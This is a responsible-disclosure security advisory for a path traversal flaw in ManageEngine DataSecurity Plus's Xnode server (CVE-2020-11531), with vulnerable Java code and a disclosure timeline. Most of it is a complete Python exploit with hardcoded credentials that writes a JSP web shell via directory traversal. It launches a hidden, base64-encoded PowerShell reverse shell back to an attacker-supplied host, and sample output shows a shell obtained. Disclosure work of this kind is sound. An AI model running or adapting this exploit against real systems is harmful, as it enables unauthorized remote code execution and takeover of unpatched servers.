CVE-2020-11531 DataSecurity Plus Xnode Server - Path Traversal Code Execution Vulnerability
05 May 2020ManageEngine DataSecurity Plus’s DataEngine Xnode Server application does not validate the database schema name when handling DR-SCHEMA-SYNC
request. This allows an authenticated attacker to execute code in the context of DataSecurity Plus application by writing a JSP file in the webroot directory using a directory traversal attack.
Identifiers
- CVE-2020-11531
CVSSv3 score
8.3 (AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H)
Vendor
ManageEngine - https://www.manageengine.com/data-security/
Product
ManageEngine DataSecurity Plus is a two-pronged solution for fighting insider threats, preventing data loss, and meeting compliance requirements. It provides realtime monitoring of filesystem there by help in maintaining the file integrity and combating against ransomeware attacks using automated threat response mechanisms. It comes with the features such as File Server Audting, Data Leak Prevention and Data Risk assessment.
Affected versions
- All versions prior to 6.0.1 (6011)
Vulnerability summary
ManageEngine DataSecurity Plus’s DataEngine Xnode Server application does not validate the database schema name when handling DR-SCHEMA-SYNC
request. This allows an authenticated attacker to execute code in the context of DataSecurity Plus application by writing a JSP file in the webroot directory using a directory traversal attack.
Technical details
Upon receiving the DR-SCHEMA-SYNC
request, the application calls the syncDRSchemas()
function of DataRepositoryManager
class at line: 109
of DataRepositoryManager.java
from dataengine-xnode.jar
package.
As can be seen at line:126
of function syncDRSchemas()
, the function concatenates the name of database schema while generating the filename dynamically and write the values passed in a JSON object to it.
109: public static JSONObject syncDRSchemas(DataRepositoryActionRequest request) throws Exception {
110: JSONObject jResponse = new JSONObject();
111: JSONObject jSchemas = request.drSchemaListObj();
112: File schemasFolder = ((Path)Environment.XNODE_DR_SCHEMA_DIR.value()).toFile();
113: schemaMap = new ConcurrentHashMap();
114: if (!schemasFolder.exists()) {
115: schemasFolder.mkdirs();
116: }
117: if (schemasFolder.isDirectory()) {
118: File[] schemaFileList = schemasFolder.listFiles();
119: for (File schemaFile : schemaFileList) {
120: schemaFile.delete();
121: }
122: }
123: Iterator iterator = jSchemas.keys();
124: while (iterator.hasNext()) {
125: String key = (String)iterator.next();
126: BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(Environment.XNODE_DR_SCHEMA_DIR.value() + File.separator + key)));
127: bw.write(jSchemas.getJSONObject(key).toString(2));
128: bw.close();
129: Object schema = new XNodeDRSchema(key.replace(".json", ""), jSchemas.getJSONObject(key));
130: schemaMap.put(((DRSchema)schema).getSchemaName(), schema);
131: LOGGER.info("SYNCHED : DataRepository Schema '" + key + "'");
132: }
133: checkFieldWithMultipleDataTypes();
134: jResponse.put("error_code", 0);
135: return jResponse;
136: }
Proof of concept
Using the following exploit code, we can observe that by sending a DR-SCHEMA-SYNC
request to the DataEngine XNode server with specially crafted schema name, one can write files to the webroot directory of DataSecurityPlus application and execute arbitrary JAVA code.
exploit.py
#!/usr/bin/env python
# Author: Sahil Dhar(@0x401)
import socket
import sys
import requests
import telnetlib
import threading
import os
from time import sleep
from base64 import b64encode
from requests.packages.urllib3 import disable_warnings
from requests.packages.urllib3.exceptions import InsecureRequestWarning
def reverse_tcp_handler(lport):
print("[+] Starting reverse handler on port %d" %(lport))
t = telnetlib.Telnet()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("0.0.0.0", lport))
s.listen(1)
conn, addr = s.accept()
print("[+] Got connection from %s" % addr[0])
t.sock = conn
print("[+] whoami ?")
t.write(b"whoami\n")
t.interact()
def get_bytearray_payload(lhost,lport):
cmd = "$client = New-Object System.Net.Sockets.TCPClient('"+lhost+"',"+str(lport)+");$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
r_cmd = ""
for c in cmd:
r_cmd += c
r_cmd += "\x00"
payload = 'powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc "%s"' %(b64encode(r_cmd.encode('utf-8'))).decode('utf-8')
r = ""
for i in payload:
r += str(ord(i))
r += ", "
r = r[0:-2]
return r
def send_payload(rhost, rport, web_port, lhost, lport):
auth = '{"username":"atom","password":"chegan","request_timeout":10,"action":"session:/authenticate"}'
shell = '{"action":"dr:/dr_schema_sync","request_id":2, "dr_schema_list":{"../../../../../webapps/fap/poc.jsp":{"a":"<% Runtime.getRuntime().exec(new String(new byte[] {'+get_bytearray_payload(lhost, lport)+'})); %>"}}}'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((rhost,int(rport)))
s.send(auth.encode('utf-8'))
sleep(1)
s.send(shell.encode('utf-8'))
print("[+] Triggering the shell...")
r = requests.get("http://%s:%d/poc.jsp" %(rhost, web_port))
def main():
help="%s <rhost> <rport> <web_port> <lhost> <lport>" %(os.path.basename(__file__))
if len(sys.argv) < 6:
print(help)
os._exit(1)
disable_warnings()
rhost = sys.argv[1]
rport = int(sys.argv[2])
web_port = int(sys.argv[3])
lhost = sys.argv[4]
lport = int(sys.argv[5])
th = threading.Thread(target=reverse_tcp_handler, args=(lport,))
th.start()
send_payload(rhost, rport, web_port, lhost, lport)
if __name__=="__main__":
main()
#~ python3 exploit.py 192.168.56.108 29119 8800 192.168.56.1 4444
[+] Starting reverse handler on port 4444
[+] Triggering the shell...
[+] Got connection from 192.168.56.108
[+] whoami ?
windowsx64-pc\windowsx64
PS C:\Program Files (x86)\ManageEngine\DataSecurity Plus\bin>
Timeline
Date | Status |
---|---|
04-MAR-2020 | Reported to vendor |
13-MAR-2020 | Patch available |
05-MAY-2020 | Public disclosure |